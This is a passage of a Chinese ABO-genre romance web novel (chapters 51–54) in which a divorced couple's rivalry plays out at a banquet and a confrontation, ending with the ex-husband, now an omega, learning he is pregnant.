沈霁听到女人说自己是她的人一愣,随即露出一个灿烂的笑容伸手牵住了她的手。 “杨小姐是你的朋友我自然相信她的人品,只是你都说了我是你的人,所以我不想让除了你之外的人看不是很正常吗?” 白琼回握住了男人,淡声道:“就你歪理多。” “什么感觉?” 她冷不丁这么来了一句,没头没尾的,沈霁却立刻明白她在问什么。 他轻捏了下她的指尖,动作亲昵且自然。 “能有什么感觉?恶心,厌恶,总归不可能是和同学久别重逢的喜悦。” “你呢?再次见到你的昔日爱人你是什么感觉?我猜你应该很激动。” 白琼扯了下嘴角,“我的确很激动,不过是因为可以报复他而感到激动。我一想到一会儿他看到我们一起出现的样子就觉得痛快。” 沈霁盯着白琼那张和激动和痛快完全扯不上什么关系的脸,眼眸微动,轻声道:“我也很期待。” 这边的顾厌迟刚进入宴会大厅一群人便围了上来,无非是一些耳朵听起茧子的恭维,让他烦不胜烦。 好在那些都是在商场上混的人精,最是会察言观色,看出了他今日心情不佳,怕被迁怒,只简单上前打了个招呼便离开了。 顾厌迟缓缓吐了一口浊气,拿起一杯香槟喝了一口,试图压下从刚才来到这里开始就莫名躁动的心绪。 对于杨家的这个所谓新品他并不怎么感兴趣,他提前了解了下,这款即将上市的手机和市面上大部分的手机相比性能上的确优化了不少,可还没有达到让他心动合作的程度。 他最近临近热潮期,身体也不大舒服,这种时候避免出现在人多的地方才是最佳做法,可他鬼使神差的在收到邀请函的时候还是答应了。 不,或许也不是鬼使神差。 这款手机虽然没入他的眼,但他记得白琼似乎挺喜欢它的设计,跟他提过一句。 两人虽然已经离婚了,但是夫妻一场,这些年白琼因为他受了不少委屈,最后离婚也闹得那么不体面…… 他们离婚的事情家里暂时只有自己母亲知道,是白琼告诉她的。 白琼应该并没有说他们因为什么离婚,不然以女人的脾气不可能只简单说他几句便罢休。 无论是不是真的,自己为了离婚亲口承认喜欢男的这件事对白琼来说完全可以成为一个拿捏他的致命把柄。 她想要报复,想要让他颜面扫地再简单不过,只需要把这件事说出去就好了。 可白琼没有。 所以即使在知道自己被“欺骗”了,自己丈夫竟然喜欢的是男人,她也还是想要尽可能维持他的形象和体面吗? 顾厌迟漆黑的眸子晦暗,盯着手中琥珀色的香槟出神。 也是在这时候一个女人走了过来,顾厌迟掀了下眼皮,认出了这是曾经追求过自己的林家小姐。 顾厌迟从小到大追求者不少,但最后结仇的眼前人是独一份。 当初在被对方告白的时候他明确拒绝了,对方不死心,觉得他还没有女朋友那说明自己还有机会,于是对方十分有毅力的对他穷追不舍了一年。 结果一年过后他松口答应了和白琼的婚事,她知道后以为他是有未婚妻的情况下不明说,故意看她笑话,然后恼羞成怒地甩了他一巴掌。 顾厌迟避开了,但对方的指甲太长,刮破了他的眼角,就差一点就伤到眼睛了。 之后林家人带着她过来各种赔礼道歉,顾厌迟不想跟一个女人计较便也没拿她怎么样,他们后面在宴会上碰见过几次,对方见了他跟老鼠见了猫一样绕着走,没想到今天倒是有勇气过来了。 不用想他也知道她好端端的怎么突然这么有胆了,因为她分化成了alpha。 在她靠近的瞬间他就感知到了独属于alpha的气息,和白琼给人的感觉完全不同,白琼的气息比她强烈多了,即使不释放信息素也有压倒性的存在感。 可并不会给人一种居高临下的凝视感。 即使她竭力收敛了,顾厌迟依然能感觉到那细微的猎人看猎物的侵略性。 顾厌迟的眉头一下子压了下来。 对方似乎没看到他骤然冷沉下来的眉眼,笑着道:“好久不见,你最近过得还好吗?听说你分化成了omega,我真是难以置信,像你这样强大的男人竟然不是alpha。不过alpha也好omega也罢,都改变不了你的优秀。” 顾厌迟哪里听不出她言语中看似恭维实则嘲讽,他懒得和她废话,薄唇轻启,冷冷吐出一个字。 “滚。” 这下脸色难看的成了女人。 原本在得知顾厌迟分化成了omega后想着来看看他的笑话,预想之中的颓废和一蹶不振并没有出现,他依旧和初见的时候一样高高在上,一样的目中无人,一样的傲慢。 她深吸了一口气,皮笑肉不笑道:“别那么冷淡嘛,我们好歹也是校友一场,以前的事情我也赔礼道歉了,你也原谅我了,我们就算做不了朋友也没必要当仇人吧。” “哦对了,你的夫人呢?当初你们结婚的时候我和我爸妈还一起作为合作伙伴出席过你的婚礼呢,以前你们不都是成双成对的,怎么今天没见到她人?” 女人往他身后看了一眼,状似疑惑问道。 实则她关心的并不是白琼怎么没来,而是故意提起她给他添堵。 听说那个女人也分化成了alpha,作为丈夫的顾厌迟被自己一向看不上眼的妻子压制着心理肯定很屈辱吧。 意外的是顾厌迟并没有因为对方拿白琼的分化来刺激自己而感到难堪和恼怒,他的心情异常的平静。 真奇怪,明明自己之前还因为无法接受对方标记自己而那么丑陋的对着白琼歇斯底里过,这才过了一两个月他竟然就接受了。 不是,这怎么和她想的不一样? 他既不在乎自己分化成了omega,也不在乎自己的妻子压制他?不应该啊,顾厌迟那么要强的性子不可能对这种事情毫不在意啊。 难道是装的? 可是装的未免也太好了点,连一点信息素都没溢出。 他难道真的无所谓?不然怎么一点情绪波动都没有? 顾家家大业大她们林家惹不起,她想报复也只能言语上刺激一下对方,可自己以为对方最在意的两件事都对他毫无杀伤力,这让她十分挫败和恼怒。 正在她要铩羽而归的时候,发现前一秒还算情绪稳定的男人下一秒突然冷下了脸,一直收敛得很好的信息素也有了反应。 女人吓了一跳,没想到身为omega的顾厌迟的信息素会这么强,简直和alpha一样。 不过他这是看到什么了反应这么大? 她疑惑地顺着他杀人一样的眼神看去,看到了自己刚才才提到的当事人就在不远处站着,而她的身边还有一位。 女人傻了眼,以为自己看错了,闭了闭眼再睁开。 不是幻觉,白琼身边站的真的是个男人但不是顾厌迟。 两人旁若无人地牵着手,姿态亲密,一看就知道关系匪浅。 大约是男人的视线太过灼热,沈霁似有所感地看了过来。 两人目光骤然相撞,沈霁下意识抓紧了白琼的手。 白琼早就注意到了顾厌迟和林家小姐待在一起,她倒没怀疑他和对方有什么,两人之前的事情她知道,他不可能会对一个扇过他巴掌的女人有什么旖旎心思。 想也不用想也知道大约是林家小姐觉得自己分化成了alpha不一样了,故意凑上去给男人添堵。 白琼在来之前一直都很期待顾厌迟看到他们的时候的样子,真到了这个时候她反而兴致缺缺起来。 因为她发现自己比起看到他目眦欲裂的破防模样,更不想看见他那张讨人厌的脸。 于是她垂眸装作没发现顾厌迟的视线,小拇指轻勾了下沈霁的手指。 “他现在什么表情?” 沈霁沉默了许久,在白琼第二次勾他手指催促的时候才涩然着声音开口。 “……他很生气,赶紧下一秒就要冲过来揍人。” “哈?揍人?揍谁?我吗?” 白琼气笑了,“他尽管试试看,到底是他的拳头先落到我身上还是我先刺激得他当场发/情,丑态毕露。” 先前沈霁进来的时候还担心顾厌迟看到他们在一起的时候会无动于衷,自己会失去利用价值被白琼抛弃,现在他不用担心了。 他如白琼所料的那样被刺激得,愤怒,嫉妒。 可不是对白琼,而是对他。 白琼不是说顾厌迟不喜欢她,对她毫无感情吗? 可这副样子真的是毫无感情吗? 沈霁突然很想笑。 笑顾厌迟明明在意对方在意得不得了却让对方感觉不到一点爱,也笑白琼,笑她大费周章和他做交易想要拿自己刺激顾厌迟,却不知道真正能刺激到对方的人就是她本人。 既然错了,那就将错就错吧。 让白琼继续误会下去,误会顾厌迟喜欢他,误会对方是因为看到她抢走了他才这么嫉妒愤怒。 这么想着,沈霁迎着男人恨不得把他千刀万剐的眼神朝着他缓缓露出了一个挑衅而恶劣的笑容。 第52章 林家小姐惊呆了, 反复确认了三遍后才找到了自己的声音。 “那个女人……是你妻子的双胞胎姐妹吗?” 还是什么单纯和她长的很像的人? 尽管她觉得这两个猜测都没可能,但比起这些离谱的猜测,她觉得白琼大咧咧带着情人出现在公众场合, 还是在顾厌迟也出席的情况下这件事才更让人觉得离谱。 然后再看到男人越来越沉的脸色后, 她咽了咽口水。 还真是啊。 我的天啊, 她怎么敢的? 先前她还觉得鼓起勇气当面挑衅顾厌迟的自己很有种, 可和白琼这个女中豪杰比起来她简直不够看。 太猛了, 太强了,这才是女人中的女人, alpha中的alpha。 当着原配的面带着情人招摇过市,实在是太猖狂了。 本来还为自己挑衅不成, 不甘心就这样轻易离开的林家小姐,在感受到身边人越来越可怖的低气压后再也没有任何留恋, 怕殃及池鱼拔腿就跑。 在宴会上的人中除了林家小姐也有几个认出白琼来了,她们的神情和她一样都很恍惚震惊, 然后下意识往顾厌迟这边看过来。 可顾厌迟并没有给他们看笑话的机会,在他们的目光落过来之前他垂下了眼眸,原本手上拿的好好的香槟手一抖看似没拿稳一个不小心倒在了身上。 而顾厌迟也是借着衣服弄脏了为由先行离开了宴会现场。 “刚才什么情况?那位我记得是顾厌迟的妻子吧?” “应该不是, 只是长得像的人吧。你没看到顾厌迟没什么反应吗, 换作一个正常男人看到自己妻子和别的男人在一起反应怎么可能那么平淡?” “我也觉得可能是看错了,毕竟上次见他妻子已经是很久之前的事情了, 认错了也正常。” “……” 众人嘴上都一致认同是看错了的说法,但心里到底是怎么想的就不得而知了。 这边的顾厌迟愤怒的差点把牙咬碎, 然而他却不能将真实的情绪表露出来,直到他进了卫生间,垂下的眼眸这才抬起,露出了它猩红的模样。 他大口大口喘着气, 用尽全力才将要紊乱的信息素给压制回去。 信息素勉强平复下来了,可顾厌迟的思绪却杂乱如麻。 他脑子混沌得厉害,想起刚才看到的那一幕竟然也生出了和那些人一样的想法—— 但下一秒顾厌迟就否定了。 不,他没有看错。 他可以看错任何人但是绝不可能看错白琼,那是烙印在身体乃至灵魂的气息。 顾厌迟抬起手覆上腺体,那里白琼留下的痕迹早就消失了,取而代之的只有一点药剂注射的针孔的痕迹。 在来宴会之前他怕周围的气息太过杂乱刺激到腺体,所以注射了抑制热潮期的药剂,本身这点药剂足够缓解他三两天的不适,结果在看到白琼的瞬间土崩瓦解。 白琼会出现在这里他其实并不意外,杨清容是她最好的朋友,必然会邀请她,他也做好了会再次和她碰面的准备。 甚至可以说是隐隐期待的。 顾厌迟想大约是这该死的雏鸟情结,标记不在了也依然影响着他。 这个正常,就像人永远也忘不了自己的初恋白月光一样,于分化成omega的顾厌迟来说,为他进行初次标记的白琼的地位也等同于前者。 只是一个是心理上的,一个是身体上的。 白琼是他身体上的“初恋”,他的身体每一寸都渴求着她的安抚和碰触,这是他如何也没办法控制的。 像上瘾了一样。 可他实在没想到白琼会给他一个那么大的惊喜,新欢?不,他不这么认为。 白琼当初就是听信了那些无中生有的传言,以为他喜欢的是男人,感到受到了极大的欺骗和羞辱才下定决心和自己离婚的,要让他相信她后脚就跟人好上了,还是沈霁,那既是对她对自己多年感情的不信任,更是对她真心的轻视。 而且她找哪个男人不好偏偏找的是沈霁,实在是司马昭之心,演都不带演了。 这是挑衅,更是报复。 白琼并无所谓他相不相信她移情别恋上了沈霁,她只需要把他这个“心上人”抢到他身边就行了。 如果对方真是他喜欢的人,这的确杀人诛心,可沈霁并不是。 然而这不意味着对方的报复就没有成功。 他咬紧牙关,紧绷着的下颌像一把满盈待发的弓。 “白琼,你怎么敢……” “她为什么不敢?” 一道冷淡的声音冷不丁从后面传来,顾厌迟没有回头,顿了顿,抬眸看向面前的镜子,沈霁的身影不知何时出现在了其中。 对于男人的出现他没有一点意外,在对方当众做出挑衅,宣示主权的时候顾厌迟就预感到他必然会过来。 他故意将香槟倒在身上一方面是不想让周围人看了笑话,另一方面也是在等沈霁。 他拧开水龙头清洗着有些发烫的手,空气里苦艾的气息很淡,却烧灼着他眼眶发红。 冰凉的水在手上如柔软丝滑的缎子轻而易举滑过,让他身体的燥热有了些许缓解。 沈霁也不着急,静静看着他,等着他。 大约过了一分钟,水龙头重新被拧好,顾厌迟掀起眼皮看向镜子里的沈霁。 “怎么?刚才挑衅的还不够,还跑到我跟前?看来你是真的很不安啊。” 顾厌迟似笑非笑道:“你怕我把她从你身边抢走?” 沈霁凉凉道:“不,你想多了,我是来警告你别出现在她面前,你没发现她讨厌你讨厌得连看都不想看你一眼吗。” “说实话顾厌迟,我很早之前就知道你是个性格很恶劣的人,可是做丈夫能做到让妻子这么厌恶的还是少有。” 他每说一句顾厌迟的脸色就难看一分,可沈霁不打算就这么轻易放过他。 白琼看上去是真的放下了,但这一切都基于那个喜欢男人的误会上——对,误会。 在刚才对上顾厌迟那样嫉妒得快要发狂的眼神时,沈霁一直认定对方喜欢的是男人的想法荡然无存。 这是比被顾厌迟发现自己不是他喜欢的人后失去利用价值被抛弃还要糟糕的情况,这意味着只要解开这个喜欢男人的误会两人就能重归于好。 而他呢,只是两人之间play的一环罢了。 沈霁强压着心头的嫉妒和酸涩,竭力让自己表现得被偏爱的恃宠而骄。 他微抬着下颌,象牙白的脖颈处腺体的痕迹毫不掩饰地展露了出来。 果不其然,顾厌迟脸色一下子变了。 “她标记了你?!” “呀,被你发现了。” 沈霁笑眯眯看着他狰狞到扭曲的面容,故意露出一种天真的不解。 “你为什么这么生气?你们不是已经离婚了吗,我现在才是白琼名正言顺的男友,她标记我不是很正常吗?难道你不会真的以为她和我在一起是赌气在气你?那你未免太看得起自己,也太轻视她了。” “她喜欢你的时候满心满眼只有你,即使你没有一点回应也愿意死心塌地跟着你五年,过着清汤寡水的日子也毫无怨言。现在她不喜欢你了,自然也不可能再为你守身如玉。所以别自作多情了,无论是白琼和我在一起还是出现在这个有你在的宴会上都只说明她不在乎你了,放下你了,而不是别的什么。” 顾厌迟在沈霁说话的时候自虐似的盯着他脖子上的腺体,上面的痕迹,还有他故意放任琼花的气息散发出来的行为,都让他心口刺痛得喘不过气。 白琼标记了沈霁,她真的标记了除了他之外的人。 这个认知让顾厌迟比热潮期发作时候还要难受百倍。 如果只是为了报复他她至于做到这种程度吗?标记一个不喜欢的人,无异于伤敌八百自损一千。 还是说白琼真的被他这张脸给迷惑了? 顾厌迟上次见到沈霁是五年前的事情了,那时的沈霁依旧漂亮得让人移不开眼,只是眉眼之间多少还是有些没长开的青涩,此刻的男人和以前相比似一颗熟到发红发软的蜜桃,稍微一咬就能溢出汁水,带着昳丽到糜烂的香甜。 如果是别的男人顾厌迟绝不相信白琼会这么快从对他的感情中抽离出来,可那是沈霁。 而且他还分化成了omega。 这无论是对女人还是对alpha来说都是如山野精怪一样魅惑人心的存在。 但也只是有可能而已,他不能自乱阵脚。 他很快调整下翻涌的情绪,扯了下嘴角,冷笑着反唇相讥。 “很精彩的一番发言,有理有据,如果我不是当事人我都要信了。” 顾厌迟没有被对方牵着鼻子走,反问道:“对了,你应该才回国吧,那你和她认识了多久,一个月?两个月?最多不超过半年吧。” “半年?你是凭什么那么自信地认为和她相处半年的感情就能赢过我和她朝夕相处的五年时间,这还可以算是结婚之前,毕竟我和她可是从小长大的青梅竹马。” “还有……” 他眯了眯眼睛,“你知道吗沈霁,人在心虚的时候话会很多。如果你真的那么笃定她早就彻底放下我了,那你为什么还那么着急的找过来对我宣示主权?就算真的想要炫耀,那为什么不带上白琼一起,你们一起不是对我更杀人诛心吗?” “所以,你在害怕对吧。” 顾厌迟终于转过了身,那张俊美的脸上满是居高临下的嘲讽。 “让我猜猜你在害怕什么?你害怕白琼会抛下你回到我身边?她做了什么会让你这么患得患失——很显然,她从一开始就告诉了你我是她的前夫,这让你看到我后很有危机感是吗?但不够,还不够。你这激进的表现明显不只是我是她的前夫这一个原因。” 顾厌迟注意到男人神情有那么一瞬的慌乱,很快闪过,但他还是捕捉到了。 “她告诉你了是吗?我和她离婚的真正原因。” 沈霁没说话,因为他不知道该回答是还是不是,毕竟无论回答哪一个答案都像是他很在意对方在白琼心里的地位似的。 “不回答是吗,以我对她的了解,她应该只和你说了因为我不喜欢她,无法接受被她标记,所以她才放手的吧。” 沈霁气笑了,“哈?你还真往自己脸上贴金?说的好像白琼还深爱着你,因为不想让你为难和痛苦才主动放手似的,你以为你是谁?只不过是一个连自己分化结果都不敢面对的胆小鬼而已。” 沈霁的嘲讽非但没有激怒顾厌迟,他深深看了对方一眼,然后笑了。 不是被气笑了,也不是冷笑嗤笑,是真的笑。 发自内心的,带着愉悦地笑了。 “你笑什么?” 顾厌迟走到他面前,沈霁下意识想要后退,可又觉得这样实在落了气势,于是生生忍住了心里的排斥。 顾厌迟也没想离他太近,站在和他一步相隔的位置停下。 两人身高相当,沈霁看着纤细清瘦,可皮肤下面都是薄薄一层的肌肉,并不瘦弱。 只是顾厌迟的骨架稍微要大一些,配上那张目中无人的可恶嘴脸,反而压了他一分。 沈霁烦躁地皱了皱眉,“怎么?凑这么近干什么?想打架?” “你果然知道。” “什么?” “还能是什么?白琼和我离婚的真正原因啊。” 顾厌迟道:“她以为我喜欢你,认为我欺骗了她利用了她,所以才找上你的对吧?” 沈霁心下漏跳了一拍,不知道他是怎么看出来的,是自己刚才露出了什么破绽吗。 他仔细回想着自己刚才说的话,越想脑子越乱,又听对方继续说道:“你没有破绽,至少没有那么明显到一眼就能看出来的破绽,只是你太心急的想要对付我,用力过猛,想让人不知道你在忌惮我都难。” “当然更重要的一点是我了解白琼,她爱我,很爱很爱我。” 他一连说了三个“爱”字,一次比一次咬得重。 顾厌迟也不想研究到底是标记的雏鸟情结还是他本身已经在和对方的朝夕相处中喜欢上了对方,只是不自知,此刻在出现了沈霁这个情敌的刺激下才明白过来自己的心。 但有一点很确定,他因为确定了白琼还深爱着自己而感到愉悦兴奋,这比女人在热潮期一次一次标记他安抚他还要让他感到餍足。 他很高兴对方和沈霁在一起不是出于喜欢,是因为他。 所以顾厌迟意识到了自己的感情—— 他也是喜欢白琼的,只是omega和alpha压制与被压制的关系让他一时之间很难适应,很难过自己心理那一关。 尤其是omega不光要被压制,还会 …… 顾厌迟压下心绪不去细想,再次看向沈霁那张漂亮的足以让所有男人感到威胁的脸后也没任何危机感了。 只有嘲讽,看跳梁小丑的嘲讽。 沈霁被他脸上的嘲讽狠狠刺到了,腺体上的标记灼烧着他,女人的气息和痕迹还残留在他的身体,可眼前的男人却存在于她的心里。 这让他难以维持基本的体面和理智。 他怒极反笑,珍惜地摸了摸胸口的那枚琼花胸针。 错了,他从一开始就错了,他不该这么着急来警告顾厌迟的,这不会让顾厌迟恼怒破防,反而会让他显得像一个没有名分跑到正宫面前耀武扬威的小三。 可白琼对顾厌迟的在意让他过于方寸大乱,一想到他们随时都可能冰释前嫌他就慌乱不安极了。 现在沈霁突然意识到他其实完全没必要那么在意他们会不会和好这件事,因为他是omega啊。 一个omega要引诱一个alpha是多么轻易的事情。 即使白琼比起大多数alpha都要坐怀不乱,可欲望这种东西无论是alpha还是omega都无他摆脱的。 他和顾厌迟这个傲慢自大,自尊心比天高的家伙不一样,他的眼睛可以容得下沙子。 正宫也好,小三也罢。 只要白琼需要他就行了啊。 沈霁指尖轻轻碰触在琼花的花蕊上,明黄色的礼服把他本就被alpha滋养过的好气色衬得更加熠熠生辉。 “你猜的没错,她的确很在乎你。我也的确很害怕她知道你其实并不喜欢男人,不喜欢我后我会失去被她利用的价值,所以才这么愚蠢地跑到你面前来宣示主权。” “但你忽略了一点,你承认了不是吗?在白琼以为你是喜欢男人的时候你没有反驳,反而顺势承认了。那你现在改口去解释,还是在热潮期要来的情况之下……你觉得她会相信吗?” 沈霁否定道:“她只会觉得你这么说只是为了得到她的标记,她不会感到高兴,只会觉得你这种对她召之即来挥之即去的态度更可恶。” “顾厌迟,除非你不是个omega,否则你说的任何话在白琼这里都是你为了寻求标记的违心之语。” 沈霁抬起手将垂落在肩头的头发别在耳后,露出莹润漂亮的耳垂。 “至于我,成为她刺激你的假男友也罢,或是她发泄欲望的工具也罢,至少我得到了名和分不是吗?” “不像某人,一无所有。我真替你感到可悲。” 沈霁这个角度是顾厌迟从未想过的,他忽略了这一点。 他们之间的信任,早在他为了离婚顺势承认了他喜欢男人的时候土崩瓦解了。 哪怕白琼心里还有他,她也很难相信他了。 刺骨的寒意一下子蔓延在四肢百骸,他的脸白得没有一点血色。 连沈霁什么时候离开的都不知道。 看上去在这番交锋中沈霁更胜一筹,可他知道并非如此。 就像白琼和顾厌迟之间的信任一戳即破一样,他和女人的交易关系也同样如此。 只是假名分还不够,他只有让白琼彻底爱上他,取代顾厌迟在对方心里的位置才行。 沈霁抿着薄唇,神情冷凝,无数思绪在脑子里盘旋不停,因为思考的太认真要拐弯了都没注意。 “想什么呢这么认真?” 女人的声音冷不丁从前面传来,把陷入思考的沈霁吓了一跳。 “白,白琼?” 他忙用余光往后瞥了一眼,没看到顾厌迟的身影这才松了口气,不过想到了什么心又一下子提了上来。 “……那个,你是什么时候过来的?” 这个距离普通alpha很难听到他们刚才的对话,但白琼却可以。 要是她很早之前就在的话…… “刚过来,看你上个厕所上那么久怕你出事过来看看。” 白琼上下打量了下男人,“没事吧?” 沈霁缓缓吐出一口浊气,牵住了她的手柔声道:“没事。” 见女人微皱了皱眉,知道她是不喜自己这个敷衍的回答,便又道:“就是刚才在厕所碰到了在清理衣服的顾厌迟,所以耽搁了点时间。” “他为难你了?” “没有,他没发现我,我怕他纠缠我躲在外面一会儿等他走了才进去的。” 女人的声音似乎微妙地停顿了下。 “……是吗。” 第53章 整个宴会要说谁最忙, 非杨清容莫属。 倒不是忙着应酬,而是忙着盯白琼他们。 好在正如白琼所说的那样,一切都是她的虚惊一场, 她以为会发生的所谓修罗场并没有发生。 杨清容松了口气的同时, 又替自己的好友感到不值。 该死的顾厌迟, 白琼怎么说都和他做了五年夫妻, 还有着青梅竹马的情谊, 这么长时间说句难听的,就算养个宠物都有点感情了, 白琼陪在他身边这么久他竟然真的无动于衷。 他的心是铁做的吗,这么冷情冷血? 倒是沈霁有些让她意外, 原以为白琼搞定沈霁或多或少是因为她许了什么好处给对方,虽然她和顾厌迟离婚了, 但这并不影响她在顾老爷子心里的地位,在很久以前顾老爷子就说过, 要是她和顾厌迟真的有缘无分无法修成正果,他也会把她当成亲孙女疼爱。 加之白琼在顾厌迟那里分了不少财产,沈霁要是有利所图答应做对方的情人什么的也不是没可能。 可事情似乎并不是这样, 从沈霁全程都没有从白琼身上移开视线的样子来看, 那眼神都要拉丝了,就算真的别有所图, 那也绝不可能一点真心都没有。 不过这也正常,毕竟上次白琼在他被逼着敬酒的时候出手为他解围过, 对她产生好感也在情理之中。 当初杨清容是存了希望白琼移情别恋沈霁,然后和顾厌迟离婚早日脱离苦海的念头,不过真的变成现实了她还是忍不住唏嘘。 五年啊,一个人有多少个五年经得起耗。 好在白琼终于及时止损了, 也不算太晚。 宴会结束后,杨清容跟着父母将今晚出席的重要宾客一一送走,揉了揉发酸的脖子,想要回家卸妆休息。 刚上车的时候,顾厌迟的车恰好从她身边开过。 车子刚启动的时候速度并不快,车子缓缓过去,以至于杨清容很清楚地看清了里面坐着的男人的脸。 晦暗明灭的光线下,男人一改在人前的生人勿近,凌厉的眉眼像一把被折断的匕首,破碎黯然。 他的头无力地靠在车窗上,眼尾隐隐发红。 那样子简直用失魂落魄,心如死灰来形容都不为过。 杨清容惊讶地睁大眼睛,以为自己眼花了想要再看清楚一点,可车子已经完全行驶过去了。 她恍惚地坐在车上,许久才回过神来。 刚才她是不是眼花了……顾厌迟是在哭吗? …… 不光是杨清容很震惊,顾厌迟自己也在感觉到眼角的湿润时候一愣。 他抬手擦了下眼尾,指尖的水泽让他沉默。 自从变成了omega后顾厌迟发现他好像总是在哭,被热潮期折磨的时候,被白琼没轻没重地标记的时候,以及她不在身边患得患失的时候。 还有现在…… 沈霁的话字字句句像密密麻麻地银针扎在他的心里,疼得他难以喘息。 所以白琼在宴会上有看到他吗,对沈霁找上他贴脸开大的事情是毫不知情的还是纵容默许的? 这些顾厌迟不得而知,但他不相信之前那个在他依赖期寸步不移陪在他身边的女人会不知道他的热潮期要到了。 苦艾的气息无知无觉在车内蔓延,他睫毛颤动,机械地伸手去抽屉里拿提前准备好用以不时之需的抑制药剂。 他面无表情将针管扎进腺体,尖锐的刺痛疼得他身体抽搐了下。 顾厌迟缓了缓,深吸了一口气将药剂推送进去。 药剂起效的时间一般是五分钟后,可这一次不知怎么,到了十分钟也没有丝毫反应。 顾厌迟皱了皱眉,又等了一会儿,以为是身体开始对这药剂产生 抗药性,于是又注射了一管药剂。 这次有效果了,但是和以前相比还是大打折扣。 顾厌迟脸色陡然变得凝重,当即吩咐司机直接掉头去医院。 随着时间的流逝药剂很快失效了,这才过了多久?还不到一个小时。 这药剂平时可是能压制两三日的热潮期的强度。 顾厌迟心头的不安越来越大了,有什么东西在往失控的边缘发展,这不是他今天才有的预感,这段时间他一直有这样的感觉,只是他不想让自己去往最坏的方向去想。 前面的司机一边开车一边拿余光看后视镜里的男人,他是个beta,感知不到信息素,可不代表他什么也感觉不到。 车内因为越来越浓的信息素而变得十分压抑沉闷,如同一张浸了水的毛巾捂住了口鼻,让人有些喘不过气来。 男人的脸色随着时间地推移肉眼可见变得苍白起来,他咬着嘴唇像是竭力忍受着痛苦,豆大的汗珠从他脸颊滑落,粗重的喘息在封闭的空间里显得格外清晰。 “顾先生,你还好吗?” 司机担忧地问道。 顾厌迟连回答他的力气都没有,他的胃里一阵翻江倒海,恶心得一阵干呕。 司机更慌了,不由加快了速度。 要知道顾厌迟从不晕车,吐成这样肯定是身体不舒服。 自从顾厌迟分化成了omega后,去医院的频率都要赶上上班出勤的频率了,仔细算来,这已经是顾厌迟这个月第四次来医院了。 负责他的主治医生轻车熟路给他做了检查,只是这一次出结果的速度比以往任何一次都要慢。 甚至为了保证结果的绝对准确性,医生检查了不下三遍。 最终在拿到检测结果的时候,从业多年攻克了不少疑难杂症的医生头一次对着一张检测数据单陷入了漫长到半个世纪的沉默。 又过了差不多一个世纪那么久,他才深吸了一口气推开病房的门走了进去。 顾厌迟面无血色地躺在病床上,虚弱无力得连一根手指都抬不起来。 听到推门的动静他睫毛颤了下。 医生静默站在他床边,顿了顿,问道:“身体还好吗?除了恶心,浑身无力之外,还有没有别的地方不舒服?” “还好。” “最近情绪波动大吗?” 顾厌迟想说没有,可想起今晚宴会上发生的事情,他沉默了一瞬。 “……有一点。” “腺体时不时有胀痛的感觉吗,就像是……涨奶一样。” 顾厌迟脸黑了下来,本就不怎么稳定的情绪因为对方的冒犯火又窜了上来。 还没来得及发作,医生接下来的话似平地惊雷,砸得他脑子一下子空白一片。 “顾先生,你怀孕了。 第54章 顾厌迟最担心的事还是发生了。 在人类步入进化之后, 人的性别从原来的两种变成了六种。 分化成alpha的人通常比beta和omega要强壮许多,即使是女性alpha,在力量上于其他性别, 尤其是omega来说也是压倒性的强大。 目前男alpha整体体能要比女alpha强一点, 可这个差距很微弱, 且在不断缩小, 同时女alpha的感知力要强于男alpha, 真要比较信息素的强弱的话,反而是后者更胜一筹。 抛去beta不论, alpha和omega更像是以前的两性。 alpha对应着男性,omega则对应女性。 而女性之所以称之为女性在于她们有着能够孕育生命的能力, 只是被alpha压制的omega明显并不符合这一点。 所以omega并不等于以前的女性。 可万一呢?万一omega也进化出能够孕育生命的类似于子宫的器官呢? 这个想法一冒出来,惊得顾厌迟出了一身冷汗。 那时候他强压着心头的不安和慌乱, 一遍一遍告诉自己不要多想,这太荒唐了。 可现在, 看着那张B超上一个只有枣核大小的胎儿,顾厌迟浑身的血液瞬间倒流,本就没什么血色的脸更白了。 “……你是最早一批进入分化阶段的, 和其他还处于分化前期的人相比, 你整个身体状态才能称得上完全进化。” 简而言之是那些omega也会有这一天,只是早晚的事情。 顾厌迟脑子嗡嗡的, 完全听不进他在说什么。 医生知道这对于一个当了二十多年男人的人来说怀孕这种需要重塑世界观的事情还是太超过了,他理解顾厌迟此刻的心情, 同时也暗暗庆幸自己没有分化成omega。 看着顾厌迟那副苍白的近乎透明的脸,这么一个一米八几的大个子,脆弱得似乎来一阵风就能倒。 他有些不忍,放轻声音道:“……你要是接受不了不想要这个孩子的话可以不要。” 顾厌迟眼眸一动, 总算有了点儿反应。 医生松了口气,又接着道:“不过现在还不能帮你流掉这个孩子,你的热潮期到了,这时候做手术对你的身体会有不可逆的伤害。” “我建议等到你热潮期之后,也就是下月月底你看如何?” 顾厌迟觉得喉咙似被一刀贯穿,说不出一个字来。 医生也没指望他能在短时间内冷静下来,他目前能听进去他在说什么已经很不容易了。 钝刀子割肉最疼也最折磨人,有些事情虽然残忍还是一次性说完比较好。 “还有……怀孕期间你的热潮期会比以往更加强烈,目前的抑制药剂对你而言杯水车薪。” 抑制剂没用了能怎么办?答案不言而喻,这是让他去找alpha帮他进行标记。 顾厌迟的手紧紧攥着被子,那张向来意气风发的眉眼此刻如被冷霜打过的一般麻木,没有任何人气。 医生轻轻把门带上后,站在病房外没有立刻离开,而是叹了口气。 虽然顾厌迟可以选择流掉当作无事发生,可他真的可以做到无动于衷吗? 那毕竟是一个生命,一个孕育在他身体里的生命,和以前所谓的只是借种在母体受孕的孩子不同,那是真真正正完完全全属于他的孩子。 热潮期本身就是一个很容易被激素控制的特殊时期,此刻偏偏还碰上了比之更为受控的孕期,在抑制药剂失效的情况下,饶是是顾厌迟这种意志还算坚定的人也很难不受一点影响吧。 原本医生猜测在没有被标记的情况下,男人在热潮期和孕期的双重影响下顶多坚持两天,可令人意外的是他竟然坚持了整整一周。 医生既惊讶于他的承受能力之强,同时也知道这样下去对他百害无一利。 他劝说过顾厌迟好几次,见对方宁愿忍受这样非人的痛苦也不愿意松口找一个alpha来给自己标记,他实在没辙了。 担心自己的病人会活生生痛死在医院里,他只能找上了顾厌迟的母亲苏芸。 苏芸在知道自家儿子怀孕的消息后整个人的震惊程度不比当事人少,她张了张嘴,许久才找到自己的声音。 “不好意思我刚才好像没听清,你能再说一遍吗,谁怀孕了?这医院里还有和我儿子同名的女孩子吗?” 医生:“……没有,正是你儿子本人。” 这里是医院,苏芸忍住了抽烟的冲动,她深吸了一口气,说道:“检测报告单呢,我看看。” 女人的反应和当时得知消息的顾厌迟一样,她反复复看了好几遍,每看一遍呼吸都更重一分。 “这孩子多久了?” “快三个月了。” 